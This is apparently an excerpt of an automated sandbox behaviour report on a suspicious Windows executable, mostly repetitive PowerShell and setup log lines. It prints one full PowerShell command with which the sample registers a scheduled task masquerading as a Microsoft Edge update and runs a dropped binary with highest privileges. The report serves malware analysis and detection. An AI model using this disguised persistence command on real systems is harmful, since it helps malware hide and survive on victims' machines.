Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$Windows.~WS\Sources\Panther\setupact.log
Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$WINDOWS.~BT\Sources\Panther\setuperr.log
Source: C:\$Windows.~WS\Sources\SetupHost.exe	File created: C:\$WINDOWS.~BT\Sources\Panther\setupact.log

Source: C:\$Windows.~WS\Sources\SetupHost.exe

File created: C:\$Windows.~WS\Sources\Panther\Eula.rtf

Boot Survival

Uses Register-ScheduledTask to add task schedules

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command " $Action = New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\../LineInst.exe'; $Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date); $Principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest; Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -TaskName 'MicrosoftEdgeUpdatesOnce' -Description 'MicrosoftEdgeUpdatesOnce once' -Force; Start-ScheduledTask -TaskName 'MicrosoftEdgeUpdatesOnce' "

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /Query /TN MicrosoftEdgeUpdatesOnceMe

Hooking and other Techniques for Hiding and Protection

Creates files in alternative data streams (ADS)

Source: C:\$Windows.~WS\Sources\SetupHost.exe

File created: C:\ProgramData\Microsoft\Diagnosis\ETLLogs\DlTel-Merge.etl:$ETLUNIQUECVDATA

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\T1#U52a9#U624b1.0.1.exe

Code function: 0_2_00007FF77B1E55D0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF77B1E55D0

Source: C:\$Windows.~WS\Sources\SetupHost.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\$Windows.~WS\Sources\SetupHost.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\AppData\WinHex.exe

Key value created or modified: HKEY_CURRENT_USER\Console\1 d33f351a4aeea5e608853d1a56661059

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
